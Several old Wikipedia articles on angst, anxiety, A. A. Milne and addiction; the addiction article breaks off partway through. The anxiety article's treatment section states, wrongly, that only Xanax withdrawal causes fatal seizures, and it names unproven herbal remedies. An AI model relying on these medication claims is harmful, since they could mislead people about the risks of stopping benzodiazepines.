'''''Angst''''' is a [[German language|German]], [[Dutch language|Dutch]] and [[North Germanic language|North Germanic]] word for [[fear]] or [[anxiety]]. It is used in English to describe an intense feeling of internal emotional strife.

A different but related meaning is attributed to [[Denmark|Danish]] philosopher [[Søren Kierkegaard]] ([[1813]]&amp;ndash;[[1855]]). Kierkegaard used the word ''angst'' (Danish, meaning &quot;dread&quot;) to describe a profound and deep-seated [[spirituality|spiritual]] condition of insecurity and [[despair]] in the free [[human being]]. Where the animal is a slave to its God-given instincts but always confident in its own actions, Kierkegaard believed that the freedom given to mankind leaves the human in a constant fear of failing its responsibilities to [[God]]. Kierkegaard's concept of angst is considered to be an important stepping stone for 20th-century [[existentialism]].

While Kierkegaard's feeling of angst is fear of actual responsibility to [[god (monotheism)|God]], in modern  use, angst is broadened to include general frustration associated with the conflict between actual responsibilities to self, one's principles, and others (possibly including God). Still, the angst in alternative music may be more accessible to most audiences than the esoteric tradition of [[existentialism]]. The term &quot;angst&quot; is now widely used with a negative and derisive connotation that mocks the expression of a common adolescent experience of malaise.

==Angst in contemporary music==
Angst, in contemporary connotative use, most often describes the intense frustration and other related emotions of [[teenager]]s and the mood of the music with which they identify. [[Punk rock]], [[grunge]], [[emo (music)|emo]], and virtually any [[Alternative Rock]] dramatically combining elements of discord, [[melancholy]] and excitement may be said to assert angst. There is an obvious connection to this music and the various subjugation of its proponent youth or racial or sociopolitical minority [[subculture]].

Angst was probably first discussed in relation to contemporary music in the mid to late 1980s and 1990s. In the 1980s &quot;teen angst&quot; was expressed in music to a certain extent in the rise of &quot;punk&quot;, but the word &quot;angst&quot; is currently more associated with, and was probably first used in reference to, the grunge movement and the band [[Nirvana (band)|Nirvana]].  Nirvana themselves seem to have been aware of this, as evidenced by the first line of [[Serve the Servants]] in which [[Kurt Cobain]] describes the success of writing songs dealing with the subject (''Teenage angst has paid off well | Now I'm bored and old...'').

==See also==
{{wiktionarypar|angst}}
* [[List of English words of German origin|English words of German origin]]
* [[Anxiety]]
* [[Suffering]]
* [[Anomie]]
* [[Alienation]]
* [[Ennui]]

[[Category:Emotion]]
[[Category:Existentialism]]
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    <title>Anxiety</title>
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      <text xml:space="preserve">'''Anxiety''' refers to a complex combination of negative emotions that includes [[fear]], apprehension and worry, and is often accompanied by physical sensations such as [[Palpitation| palpitations]], chest pain and/or shortness of breath. 

Anxiety is often described as having [[cognitive]], [[somatic]], [[emotion]]al and [[behavior]]al components (Seligman, Walker &amp; Rosenhan, 2001). The cognitive component entails expectation of a diffuse and uncertain danger. Somatically the body prepares the organism to deal with threat (known as an emergency reaction); [[blood pressure]] and [[heart rate]] are increased, sweating is increased, bloodflow to the major muscle groups is increased, and [[immune system|immune]] and [[Digestion|digestive]] system functions are inhibited. Externally, somatic signs of anxiety may include pale skin, sweating, trembling and [[Mydriasis|pupillary dilation]]. Emotionally, anxiety causes a sense of dread or panic, nausea and chills. Behaviorally, both voluntary and involuntary behaviors may arise directed at escaping or avoiding the source of anxiety. These behaviors are frequent and often maladaptive, being most extreme in [[anxiety disorder]]s. However, anxiety is not always pathological or maladaptive: it is a common emotion along with fear, anger, sadness and happiness, and it has a very important function in relation to survival. 

Neural circuitry involving the [[amygdala]] and [[hippocampus]] is thought to underlie anxiety (Rosen &amp; Schulkin, 1998). When confronted with unpleasant and potentially harmful stimuli such as foul odors or tastes, [[Positron emission tomography|PET-scans]] show increased bloodflow in the amygdala (Zald &amp; Pardo, 1997; Zald, Hagen &amp; Pardo, 2002). In these studies, the participants also reported moderate anxiety. This might indicate that anxiety is a protective mechanism designed to prevent the organism from engaging in potentially harmful behaviors such as feeding on rotten food.  
 
A chronically recurring case of anxiety that has a serious effect on a person's life may be clinically diagnosed as an anxiety disorder. The most common are [[generalized anxiety disorder]], [[panic disorder]], [[social anxiety disorder]], [[phobia]]s, [[obsessive-compulsive disorder]], and [[posttraumatic stress disorder|posttraumatic stress disorder]] (PTSD).

==Diagnosis==

A good assessment is essential for the initial diagnosis of an anxiety disorder, preferably using a standardised interview or questionnaire procedure alongside expert evaluation and the views of the person themselves. There should be a medical examination in order to identify possible medical conditions that can cause the symptoms of anxiety. A family history of anxiety disorders is suggestive of the possibility of an anxiety disorder.

==Diagnosis using a blood test==

In 2005 a research team from the [[Hebrew University of Jerusalem]] developed a method for potentially detecting raised anxiety by performing a simple blood test. This is only an early unreplicated study of a possible screening tool. [http://www.isracast.com/tech_news/101005_tech.htm]

==Generalized anxiety disorder==
{{main|General anxiety disorder}}

Generalized anxiety disorder is a common chronic disorder that affects twice as many women as men and can lead to considerable impairment (Brawman-Mintzer &amp; Lydiard, 1996, 1997).  As the name implies, generalized anxiety disorder is characterized by long-lasting anxiety that is not focused on any particular object or situation. In other words it is unspecific or free-floating. People with this disorder feel afraid of something but are unable to articulate the specific fear. They fret constantly and have a hard time controlling their worries. Because of persistent muscle tension and autonomic fear reactions, they may develop headaches, heart palpitations, dizziness, and insomnia. These physical complaints, combined with the intense, long-term anxiety, make it difficult to cope with normal daily activities.

==Panic disorder==
{{main|Panic disorder}}

In panic disorder, a person suffers brief attacks of intense terror and apprehension that cause trembling and shaking, dizziness, and difficulty breathing.  One who is often plagued by sudden bouts of intense anxiety might be said to be afflicted by this disorder.  The American Psychiatric Association (2000) defines a panic attack as fear or discomfort that arises abruptly and peaks in 10 minutes or less. 

Although panic attacks sometimes seem to occur out of nowhere, they generally happen after frightening experiences, prolonged stress, or even exercise.  Many people who have panic attacks (especially their first one) think they are having a heart attack and often end up at the doctor or ER. Even if the tests all come back normal the person will still worry, with the physical manifestations of anxiety only reinforcing their fear that something is wrong with their body. Extreme awareness of every little thing that happens or changes with their body can make for a stressful time.

Normal changes in heartbeat, such as when climbing a flight of stairs will be noticed by a panic sufferer and lead them to think something is wrong with their heart or they are about to have another panic attack. Some begin to worry excessively and even quit jobs or refuse to leave home to avoid future attacks.  Panic disorder can be diagnosed when several apparently spontaneous attacks lead to a persistent concern about future attacks.  A common complication of panic disorder is [[agoraphobia]] -- anxiety about being in a place or situation where escape is difficult or embarrassing (Craske, 2000; Gorman, 2000).

==Phobia==
{{main|Phobia}}

This category involves a strong, irrational fear and avoidance of an object or situation.  The person knows the fear is irrational, yet the anxiety remains.  Phobic disorders differ from generalized anxiety disorders and panic disorders because there is a specific stimulus or situation that elicits a strong fear response.  Imagine how it would feel to be so frightened by a spider that you would try to jump out of a speeding car to get away from it.  This is how a person suffering from phobia might feel.

People with phobias have especially powerful imaginations, so they vividly anticipate terrifying consequences from encountering such feared objects as knives, bridges, blood, enclosed places, or certain animals.  These individuals recognize that their fears are excessive and unreasonable but are generally unable to control their anxiety.

In addition to specific phobias, such as fears of knives, rats or spiders, there is another category of phobias known as social phobias.  Individuals with this disorder experience intense fear of being negatively evaluated by others or of being publicly embarrassed because of impulsive acts.  Almost everyone experiences &quot;stage fright&quot; when speaking or performing in front of a group.  But people with social phobias become so anxious that performance is out of the question.  In fact, their fear of public scrutiny and potential humiliaton becomes so pervasive that normal life is impossible (den Boer 2000; Margolis &amp; Swartz, 2001). Another social phobia is [[love-shyness]], which most adversely affects certain men. Those afflicted find themselves unable to initiate intimate adult relationships (Gilmartin 1987).

==Obsessive-compulsive disorder==
{{main|Obsessive-compulsive disorder}}
Obsessive compulsive disorder is a type of anxiety disorder characterized by obsessions and/or compulsions. Obsessions are distressing, repetitive thoughts or images that the individual often realizes are senseless. Compulsions are repetitive behaviors that the person feels forced or compelled into doing, in order to relieve anxiety. One example would be the obsession of extreme cleanliness and fear of contamination, which may lead to the compulsion of having to wash one's hands hundreds of times a day. Another example may be the obsession that one's door is unlocked, which may lead to the constant checking and rechecking of doors.

==Treatment overview==

Mainstream treatment for anxiety consists of the prescription of [[anxiolytic]] agents and/or referral to a [[Cognitive therapy|cognitive-behavioral]] therapist. There are indications that a combination of the two can be more effective than either one alone.

===Prescription medication===

The acute symptoms of anxiety are most often controlled with anxiolytic agents such as [[benzodiazepine]]s. [[Diazepam]] (valium) was one of the first such drugs. Today we see a wide range of anti-anxiety agents that are based on benzodiazepines, although only two have been approved for panic attacks, [[Clonazepam|Klonopin]] and [[Alprazolam|Xanax]].  All benzodiazepines are physically addictive, and extended use should be carefully monitored by a physician, preferably a psychiatrist. It is very important that once placed on a regimen of regular benzodiazepine use, the user should not abruptly discontinue the medication. 

Some of the [[Selective serotonin reuptake inhibitor|SSRI]]s (selective serotonin reuptake inhibitors) have been used with varying degrees of success to treat patients with chronic anxiety, the best results seen with those who exhibit symptoms of clinical depression and non-specific anxiety or general anxiety disorder concurrently.  [[Beta blockers]] are also sometimes used to treat the somatic symptoms associated with anxiety, especially the shakiness of &quot;stage fright.&quot;

Many scientists believe that the benzodiazepines and other antianxiety drugs are greatly overprescribed and potentially addictive. See, for example, [[Fred Leavitt]]'s ''The REAL Drug Abusers'' (Rowman &amp; Littlefield, 2003). The addicitive nature of the benzodiazepine class became apparent in the mid 1960's when Valium (Diazepam), the first drug in the class to win FDA approval, resulted in thousands of people who quickly showed the classic symptoms of addiction when used for more than a week or two consistently. 

The most addictive of the benzodiazepines appears to be [[Alprazolam|Xanax]] due to its rapid onset and short half life in the blood stream. Xanax also has the dubious distinction of being the only benzodiazepine that often requires hospitalization for discontinuation as a precaution against dangerous and sometimes fatal seizures as part of the detoxification process. No other medications in this class have shown this fatal side effect, although abrupt discontinuation of virtually any benzodiazepine can result in cravings, stomach pains, cramps, increased anxiety, insomnia and other signs of withdrawal.

===Cognitive-behavioral therapy ===

[[Cognitive-behavioral therapy]] (CBT) is the most popular and effective form of [[psychotherapy]] used to treat anxiety. The goal of the cognitive-behavioral therapist is to decrease avoidance behaviors and help the patient develop coping skills. This 
may entail:

* Challenging false or self-defeating beliefs.
* Developing a positive self-talk skill.
* Developing negative thought replacement.
* Systematic [[desensitization]], also called ''exposure'' (used for [[agoraphobia]] and [[OCD]] mainly).
* Providing knowledge that will help the patient cope. (For example, someone who suffers from panic may be informed that fast, prolonged, heart palpitations are in themselves harmless).

Unlike prescription medication, the effectiveness of cognitive-behavioral therapy depends on various subjective factors, such as therapist competence.  In addition to conventional therapy, there are at-home cognitive-behavioral programs sufferers can use as part of their treatment.

===Other coping strategies===

A variety of over the counter supplements and medications are also used for their alleged anti-anxiety properties, however there is little scientific evidence to back up these claims. [[Kava Kava]] is a popular herbal treatment; small doses either taken regularly through the day or when early symptoms are noticed by the patient. [[Valerian root]] is also reputed to have anti-anxiety and sedative properties, as are [[passion fruit]], [[passion flower]], [[St. John's wort]], [[hops]], and [[chamomile]].

Popular nutritional supplements for dealing with anxiety include [[magnesium]] and [[B vitamins|B-complex]] vitamins.

Self help and relaxation techniques also play an important role in relieving anxiety symptoms. Self help includes:

* Proper diet - This includes reduction in consumption of caffeine, sugar, and generally an improvement of eating habits. Caffeine reduction should be gradual. Some anxiety sufferers report considerable reductions in their anxiety just from taking these measures.
* Exercise - Some exercise is thought to relieve stress. Anxiety sufferers should note that rapid heart palpitations during exercise can trigger a panic attack, so it is probably better to gradually develop an exercise routine while on a cognitive-behavioral program.
* Laughing
* Breathing techniques and proper breathing - A diaphragmic breathing technique is often recommended (as opposed to chest breathing).
* Proper sleep.
* Relaxation techniques - A state of relaxation can be achieved with the help of relaxation tapes, [[Yoga]] or [[relaxation therapy]].
* Stress management.- This may entail changes in lifestyle and time management. There are a number of books specialized in stress management.
* Panic attack coping strategies - Specific strategies for dealing with panic episodes have been proposed, such as slow abdominal breathing and use of reassuring self-talk.
* Search for meaning and purpose - Some experts have indicated that residual generalized anxiety can be the result of a sort of &quot;[[boredom]]&quot; about existence. They recommend looking for an occupation the sufferer finds meaningful. 

[[Alcoholic beverage|Alcoholic drinks]] are probably the most widely used substance for the alleviation of anxiety. Anxiety sufferers are cautioned that alcohol is also a powerful depressant and has a plethora of dangerous and uncomfortable side effects in addition to being highly addictive.

==Anxiety in palliative care==
Some research has strongly suggested that treating anxiety in [[cancer]] patients improves their quality of life. The treatment generally consists of counselling, relaxation techniques or pharmacologically with benzodiazepines.

==Anxiety and alternative medicine==

A 2002 [[Centers for Disease Control and Prevention|CDC]] [http://nccam.nih.gov/news/camsurvey.htm survey (see table 3 on page 9)] found that [[complementary and alternative methods]] were used to treat anxiety/[[clinical depression|depression]] by 4.5 percent of U.S. adults who used CAM.

==Existential anxiety==

Theologians like [[Paul Tillich]] and psychologists like [[Sigmund Freud]] have characterized anxiety as the reaction to what Tillich called, &quot;The trauma of nonbeing.&quot; That is, the human comes to realize that there is a point at which they might cease to be (die), and their encounter with reality becomes characterized by anxiety. [[Religion]], according to both Tillich and Freud, then becomes a carefully-crafted coping mechanism in response to this anxiety.

==Test anxiety==

Test anxiety is the uneasiness, apprehension, or nervousness felt by students who have a fear of failing an exam. Students suffering from test anxiety may experience any of the following: the association of grades with personal worth, embarrassment by a teacher, taking a class that is beyond their ability, fear of alienation from parents or friends, time pressures, or feeling a loss of control.  Emotional, cognitive, behavioral, and physical components can all be present in test anxiety. Sweating, dizziness, headaches, racing heartbeats, nausea, fidgeting, and drumming on a desk are all common. An optimal level of arousal is necessary to best complete a task such as an exam; however, when the anxiety or level of arousal exceeds that optimum, it results in a decline in performance.

==See also==

* [[Angst]]
* [[Social anxiety]]

== References ==
* Bourne, E. J.  ''Anxiety and phobia workbook'' 
* Rosen, J.B. &amp; Schulkin, J. (1998): &quot;From normal fear to pathological anxiety&quot;. ''Psychological Review''. '''105'''(2); 325-350.
* Seligman, M.E.P., Walker, E.F. &amp; Rosenhan, D.L. (2001). ''Abnormal psychology'', (4th ed.) New York: W.W. Norton &amp; Company, Inc.
* Zald, D.H., Hagen, M.C. &amp; Pardo, J.V. (2002). &quot;Neural correlates of tasting concentrated quinine and sugar solutions&quot;. ''J. Neurophysiol.'' '''87'''(2), 1068-75.
* Zald, D.H. &amp; Pardo, J.V. (1997). &quot;Emotion, olfaction, and the human amygdala: amygdala activation during aversive olfactory stimulation.&quot; ''Proc Nat'l Acad Sci'' USA. '''94'''(8), 4119-24.

== External links ==

* [http://www.healthyplace.com/Communities/Anxiety/index.asp HealthyPlace.com Anxiety Community] - Comprehensive information on anxiety and panic, from causes of anxiety disorders to anxiety medications and alternative remedies. Anxiety tests, boards, journals, support groups.
* [http://infobank.35sites.net/r.php?cat=07&amp;sub=anxiety Informative Articles About Anxiety]
* [http://www.emedicine.com/emerg/topic35.htm eMedicine article on anxiety]
* [http://www.isracast.com/tech_news/101005_tech.htm Blood test for anxiety] - An article
* [http://www.anxietytreatment.com Anxiety] - Anxiety Information and Support
* [http://www.mediets.com/anxiety.htm  Anxiety disorders]
[[Category:Symptoms]]
[[Category:Motivation]]

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    <title>A. A. Milne</title>
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      <text xml:space="preserve">[[Image:A._A._Milne.jpg|thumb|right| A.A. Milne.]]
'''Alan Alexander Milne''' ([[January 18]], [[1882]] &amp;ndash; [[January 31]], [[1956]]), also known as '''A. A. Milne''', was a [[United Kingdom|British]] [[author]], best known for his [[book]]s about the animated [[teddy bear]], [[Winnie the Pooh|Winnie-the-Pooh]], and for various children's poems. Milne had made several reputations, most notably as a playwright, before the huge success of Pooh overshadowed all his previous work.

==Biography==

Milne was born in [[Scotland]] but raised in [[London]] at a small private school in Kilburn run by his father John Vine Milne. One of his teachers was [[H. G. Wells]]. He attended [[Westminster School]] and [[Trinity College, Cambridge]] where he studied on a [[mathematics]] [[scholarship]]. While there, he edited and wrote for ''[[Granta]]'', a student magazine. He collaborated with his brother Kenneth and their articles appeared over the initials AKM. Milne's work came to the attention of the leading British humour magazine Punch, where Milne was to become a contributor and later assistant editor of ''[[Punch (magazine)|Punch]]''. 

His son [[Christopher Robin Milne|Christopher Robin]] was born in [[1920]]. Milne joined the [[British Army]] in [[World War I]] but after the war wrote a denunciation of war titled ''[[Peace with Honour]]'' ([[1934]]) (which he retracted somewhat in [[1940]] with ''[[War with Honour]]''). 

During the war, Milne was one of the most prominent critics of English comic writer [[P.G. Wodehouse]], who was captured at his country home in [[France]] by the [[Nazism|Nazis]] and imprisoned for a year. Wodehouse made radio broadcasts about his internment, which were broadcast from Berlin. Although the lighthearted broadcasts made fun of the Germans, Milne accused Wodehouse of committing an act of near [[treason]] by cooperating with his country's enemy. Wodehouse got some revenge by creating fatuous parodies of the Christopher Robin poems in some of his later stories. 

In [[1925]], Milne bought a country home, [[Cotchford Farm]], in [[Hartfield]], [[East Sussex]]. He retired to the farm after brain surgery in [[1952]] left him an invalid.

== Literary career ==

Milne is most famous for his Pooh books about a boy named [[Christopher Robin]], after his son, and various characters inspired by his son's stuffed animals, most notably the bear named [[Winnie the Pooh|Winnie-the-Pooh]]. (Reputedly, a [[Canada|Canadian]] [[American Black Bear|black bear]] named Winnie (after [[Winnipeg, Manitoba|Winnipeg]]), used as a military mascot by the Royal Winnipeg Rifles, a Canadian Infantry Regiment in World War I and left to [[London Zoo]] after the war, is the source of the name.) [[E. H. Shepard]] illustrated the original Pooh books, using his own teddy, Growler (&quot;a magnificent bear&quot;) as the model; Christopher Robin's own toys are now under glass in New York.

The overwhelming success of his children's books was to become a source of considerable annoyance to Milne, whose self-avowed aim was to write whatever he pleased, and who until then had found a ready audience for each change of direction: he had freed pre-war Punch from its ponderous facetiousness; he had made a considerable reputation as a playwright (like his idol [[JM Barrie]]) on both sides of the Atlantic; he had produced a durable, character-led and witty piece of detective writing in ''The Red House Mystery'' -- indeed, his publisher was displeased when he announced his intention to write poems for children -- and he had never lacked an audience. 

But once Milne had, in his own words, &quot;said Goodbye to all that in 70,000 words&quot;, the approximate length of the four children's books, he had no intention of producing a copy of a copy, given that one of the sources of inspiration, his son, was growing older.

His reception remained warmer in America than Britain, and he continued to publish novels and short stories, but by the late 1930s the audience for Milne's grown-up writing had largely vanished: he observed bitterly in his autobiography that a critic had said that the hero of his latest play (&quot;God help it&quot;) was simply &quot;Christopher Robin grown up ... what an obsession with me children are become!&quot;  

Even his old home, ''Punch'', where the ''When We Were Very Young'' verses had first appeared, was ultimately to reject him, as Christopher Milne details in his autobiography ''The Enchanted Places'', though Methuen continued to publish whatever Milne wrote, including the long poem 'The Norman Church' and an assembly of articles entitled ''Year In, Year Out'' (which Milne likened to a benefit night for the author). 

After Milne's death, the rights to the Pooh characters were sold by his widow, Daphne to [[the Walt Disney Company]], which has made a number of Pooh cartoon movies, as well as a large amount of Pooh-related merchandise. She also destroyed his papers.

Milne also wrote a number of poems, including ''Vespers'', ''They're Changing Guard at [[Buckingham Palace]]'', and ''King John's Christmas'', which were published in the books ''[[When We Were Very Young]]'' and ''[[Now We Are Six]]''.
His poems have been parodied many times, including the books When We Were Rather Older and  ''[[Now We Are Sixty]]''.

He also adapted [[Kenneth Grahame]]'s novel ''[[The Wind in the Willows]]'' for the stage as ''[[Toad of Toad Hall]]''. The title was an implicit admission that such chapters as ''The Piper at the Gates of Dawn'' could not survive translation to the theater.

== Biographies ==

Milne's friend Frank Swinnerton's book ''The Georgian Literary Scene'' contains a substantial section about him; his son has written several books of autobiography: ''The Enchanted Places'', in particular, is an account of his attempt to escape from the shadow of a famous father and a burdensome name; ''The Path Through the Trees'' continues the story into adult life. Ann Thwaites' ''AA Milne: His Life'' is an excellent and detailed biography, although it gives little space to the plays; a spin-off book tells the story for a younger readership, concentrating on Pooh.

==Works==
===Novels===
* ''[[Lovers in London]]'', ([[1905]]) (Some consider this more of a [[short story]] collection; Milne didn't like it and considered ''[[The Day's Play]]'' as his first book)
* ''[[Once on a Time]]'', ([[1917]]) [a fairytale with an adult slant]
* ''[[Mr. Pim Passes By]]'', ([[1921]])
* ''[[The Red House Mystery]]'', ([[1921]])
* ''[[Two People]]'', ([[1931]]) (Inside jacket claims this is Milne's first attempt at a novel.)
* ''[[Four Days Wonder]]'', ([[1933]])
* ''[[Chloe Marr]]'', ([[1946]])

===Non-Fiction===
* ''[[Peace with Honour]]'', ([[1934]])
* ''[[It's Too Late Now]]'', ([[1939]]) (autobiography)
* ''[[War with Honour]]'', ([[1940]])
* ''[[Year In, Year Out]]'', ([[1952]])

Punch articles:
* ''[[The Day's Play]]'', ([[1910]])
* ''[[Once a Week]]'', ([[1914]])
* ''[[The Holiday Round]]'', ([[1912]])
* ''[[The Sunny Side]]'', ([[1921]])
* ''[[Those Were the Days (A. A. Milne)|Those Were the Days]]'', ([[1929]] [selection of Punch pieces from the above four books] 

Selections of newspaper articles and introductions to books by others:
* ''[[Not That It Matters]]'', ([[1920]])
* ''[[By Way of Introduction]]'', ([[1929]])

===Story Collections for Children===

* ''[[Gallery of Children]]'', ([[1925]])
* ''[[Winnie-the-Pooh]]'', ([[1926]])
* ''[[The House at Pooh Corner]]'', ([[1928]])

Short Stories 
A Table by the Band

===Poetry===
For the Luncheon Interval [poems from Punch] 
* ''[[When We Were Very Young]]'', ([[1924]])
* ''[[Now We Are Six]]'', ([[1927]])
* ''[[Behind the Lines]]'', ([[1940]])
* ''[[The Norman Church]]'', ([[1948]])

===Plays===
Milne wrote over 25 plays including:
* ''[[Wurzel-Flummery]]'', ([[1917]])
* ''[[Belinda (play)|Belinda]]'', ([[1918]])
* ''[[The Boy Comes Home]]'', ([[1918]])
* ''[[Make-Believe (play)|Make-Believe]]'', ([[1918]]) [a play for children] 
* ''[[The Camberley Triangle]]'', ([[1919]])
* ''[[Mr. Pim Passes By]]'', ([[1919]])
* ''[[The Red Feathers]]'', ([[1920]])
* ''[[The Romantic Age]]'', ([[1920]])
* ''[[The Stepmother (play)|The Stepmother]]'', ([[1920]])
* ''[[The Truth about Blayds]]'', ([[1920]])
* ''[[The Dover Road]]'', ([[1921]])
* ''[[The Lucky One]]'', ([[1922]])
* ''[[The Artist: a Duologue]]'', ([[1923]])
* ''[[Give Me Yesterday]]'', ([[1923]]) [aka Success in the UK] 
* ''[[The Great Broxopp]]'', ([[1923]])
* ''[[Ariadne]]'', ([[1924]])
* ''[[The Man in the Bowler Hat]]'', ([[1924]]) [one act] 
* ''[[To Have the Honour]]'', ([[1924]])
* ''[[Portrait of a Gentleman in Slippers]]'', ([[1926]])
* ''[[Success; a play in three acts]]'', ([[1926]])
* ''[[Miss Marlow at Play]]'', ([[1927]])
* ''[[The Fourth Wall]] or [[The Perfect Alibi]]'', ([[1928]])
* ''[[The Ivory Door]]'', ([[1929]])
* ''[[Toad of Toad Hall]]'', ([[1929]]) (Adaptation of [[The Wind in the Willows]])
* ''[[Other People's Lives]]'', ([[1933]]) [aka They Don't Mean Any Harm] 
* ''[[Miss Elizabeth Bennett]]'' (based on [[Pride and Prejudice]]?, ([[1936]])
* ''[[Sarah Simple]]'', ([[1937]])
* ''[[Gentleman Unknown]]'', ([[1938]])
* ''[[The Ugly Duckling (play)|The Ugly Duckling]]'' ([[1946]])
* ''[[Before the Flood (A. A. Milne)|Before the Flood]]'', ([[1951]])
* ''[[Michael and Mary]]''

== Books on Pooh and Milne ==

* Crews, Frederick, ''The Pooh Perplex'', Chicago &amp; London, University of Chicago Press, 2003 (1st ed. 1963) ISBN 0226120589
* Crews, Frederick, ''Postmodern Pooh'', New York, North Point Press, 2001 ISBN 0865476543
* [[Benjamin Hoff|Hoff, Benjamin]], ''[[The Tao of Pooh]]'', New York, Penguin, 1983 ISBN 0140067477
* [[Benjamin Hoff|Hoff, Benjamin]], ''[[The Te of Piglet]]'', New York, Dutton Adult, 1992 ISBN 0525934960 
* Milne, Christopher Robin and A. R. Melrose (ed.), ''Beyond the World of Pooh: Selections from the Memoirs of Christopher Milne'', New York, Dutton, 1998 ISBN 0525458883
* Thwaite, Ann, ''A. A. Milne: His Life'', New York, Random House, 1990 ISBN 0394587243
* Tyerman Williams, John, ''Pooh and the Philosophers: In Which It Is Shown That All of Western Philosophy Is Merely a Preamble to Winnie-The-Pooh'', London, Methuen, 1995 ISBN 0525455205
* Wullschlager, Jackie, ''Inventing Wonderland: The Lives and Fantasies of Lewis Carroll, Edward Lear, J. M. Barrie, Kenneth Grahame and A. A. Milne'', New York &amp; Detroit, The Free Press, 1996 ISBN 0684822865

== Films ==
* ''The Fourth Wall'' was made into a film called ''[[The Perfect Alibi (film)|The Perfect Alibi]]''
* ''[[Michael and Mary (film)|Michael and Mary]]'' was filmed in 1932

== External links ==
{{wikiquote}}
* {{gutenberg author|id=A._A._Milne|name=A. A. Milne}}
* [http://books.guardian.co.uk/extracts/story/0,,1667391,00.html Milne extract in the Guardian]

[[Category:1882 births|Milne, A. A.]]
[[Category:1956 deaths|Milne, A. A.]]
[[Category:Alumni of Trinity College, Cambridge|Milne, A. A.]]
[[Category:British Army officers|Milne, A. A.]]
[[Category:British novelists|Milne, A. A.]]
[[Category:British children's writers|Milne, A. A.]]
[[Category:Old Westminsters|Milne, A. A.]]
[[Category:Winnie-the-Pooh|Milne, A. A.]]

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  <page>
    <title>Addiction</title>
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      <text xml:space="preserve">{{redirect|Addictive|the song by [[Truth Hurts]]|[[Addictive (song)]]}}
'''Addiction''' is a [[compulsion]] to repeat a behaviour regardless of its consequences. A person who is addicted is sometimes called an '''addict'''. 

There is a lack of consensus as to what may properly be termed 'addiction.' Some within the medical community maintain a rigid definition of addiction and contend that the term is only applicable to a process of escalating drug or alcohol use as a result of repeated exposure. However, addiction is often applied to compulsive [[behavior]]s other than drug use, such as overeating or gambling. In all cases, the term addiction describes a chronic pattern of behaviour that continues despite the direct or indirect adverse consequences that result from engaging in the behavior. It is quite common for an addict to express the desire to stop the behaviour, but find himself or herself unable to cease. 

Addiction is often characterized by a craving for more of the drug or behavior, increased [[physiological tolerance]] to exposure, and [[withdrawal]] symptoms in the absence of the stimulus. Many drugs and behaviours that provide either pleasure or relief from pain pose a risk of addiction or [[chemical dependency|dependency]].

==Terminology and usage==
The medical community now makes a careful theoretical distinction between ''physical dependence'' (characterized by symptoms of [[withdrawal]]) and ''psychological addiction'' (or simply ''addiction''). Addiction is now narrowly defined as &quot;uncontrolled, compulsive use despite harm&quot;; if there is no harm being suffered by, or damage done to, the patient or another party, then clinically it may be considered compulsive, but within this narrow definition it is not categorized as &quot;addiction&quot;. In practice, however, the two kinds of addiction are not always easy to distinguish. Addictions often have both physical and psychological components.

There is also a lesser known situation called [[pseudo-addiction]], where a patient will exhibit drug-seeking behaviour reminiscent of psychological addiction, however in this case, the patients tend to have genuine pain or other symptoms that have been undertreated.  Unlike true psychological addiction, however, these behaviours tend to stop as soon as their pain is adequately treated. 
The term &quot;''[[dry drunk]]''&quot; is sometimes attached to patterns of behavior that persist after an object of dependence and/or misuse
has been removed from daily living routines.  This type of behaviour is fairly common in early recovery for those recovering from substance misuse.   

The obsolete term ''physical addiction'' is deprecated, because of its connotations. In modern pain management with opioids: physical dependence is nearly universal but addiction is rare. Some of the highly addictive drugs (''[[hard drug]]s''), such as [[cocaine]], induce relatively little physical dependence.

Not all doctors do agree on what addiction or dependency is*, particularly because traditionally, addiction has been defined as being possible only to a psychoactive substance (for example [[alcoholism|alcohol]],  [[Tobacco smoking|tobacco]], or [[drug addiction|drugs]]), which is ingested, crosses the [[blood-brain barrier]], and alters the natural chemical behaviour of the brain temporarily. Many people, both psychology professionals and laypersons, now feel that there should be accommodation made to include psychological dependency on such things as [[gambling]], [[overeating|food]], [[hypersexuality|sex]], [[pornography addiction|pornography]], [[computer addiction|computers]], [[workaholic|work]], and [[shopping]] / spending. However, these are things or tasks which, when used or performed, cannot cross the blood-brain barrier and hence, do not fit into the traditional view of addiction. Symptoms mimicking withdrawal may occur with abatement of such behaviours; however, it is said by those who adhere to a traditionalist view that these withdrawal-like symptoms are not strictly reflective of an addiction, but rather of a behavioural disorder. In spite of traditionalist protests and warnings that overextension of definitions may cause the wrong treatment to be used (thus failing the person with the behavioural problem), popular media, and some members of the field, do represent the aforementioned behavioural examples as addictions.
*note: the Diagnostic Statistical Manual (DSM IVR) specifically spells out criteria to define abuse and dependence conditions.

==Varied forms of addiction==
===Physical dependency===
''Physical dependency'' on a substance is defined by the appearance of characteristic [[withdrawal]] symptoms when the drug is suddenly discontinued. While opioids, benzodiazepines, barbiturates, alcohol and nicotine are all well known for their ability to induce physical dependence, other drugs share this property that are not considered addictive: cortisone, [[beta-blockers]] and most antidepressants are examples. So while physical dependency can be a major factor in the psychology of addiction, the primary attribute of an addictive drug is its ability to induce euphoria while causing harm.  

Some drugs induce [[withdrawal|physical dependence]] or [[physiological tolerance]] - but not addiction - for example many [[laxative]]s, which are not psychoactive; nasal [[decongestants]], which can cause rebound congestion if used for more than a few days in a row; and some [[antidepressants]], most notably [[Effexor]] and [[Paxil]], as they have quite short [[half-lives]], so stopping them abruptly causes a more rapid change in the neurotransmitter balance in the brain than many other antidepressants.  Many non-addictive prescription drugs should not be suddenly stopped, so a doctor should be consulted before abruptly discontinuing them.

The speed with which a given individual becomes addicted to various substances varies with the substance, the frequency of use, the means of ingestion, and the individual. Some [[alcoholic]]s report they exhibited alcoholic tendencies from the moment of first intoxication, while most people can drink socially without ever becoming addicted. Because of this variation, some people hypothesise that physical dependency and addiction are in large part genetically moderated. [[Nicotine]] is one of the most addictive [[psychoactive]] substances: although 35 million smokers make an attempt to quit every year, less than 7% achieve even one year of abstinence.* 

While [[eating disorders]], like other behavioral addictions, are usually considered primarily psychological disorders, they are sometimes treated as addictions, especially if they include elements of addictive behavior. Sufferers may experience withdrawal or withdrawal-like symptoms if they alter their diet suddenly. This suggests that some common food substances, especially [[chocolate]], [[sugar]], [[salt]] and white flour may have the potential for addiction. In addition, frequent [[Wiktionary:overeat|overeat]]ing can also be considered an addiction.

* From the NIDA research report on nicotine addiction.

===Psychological addiction===
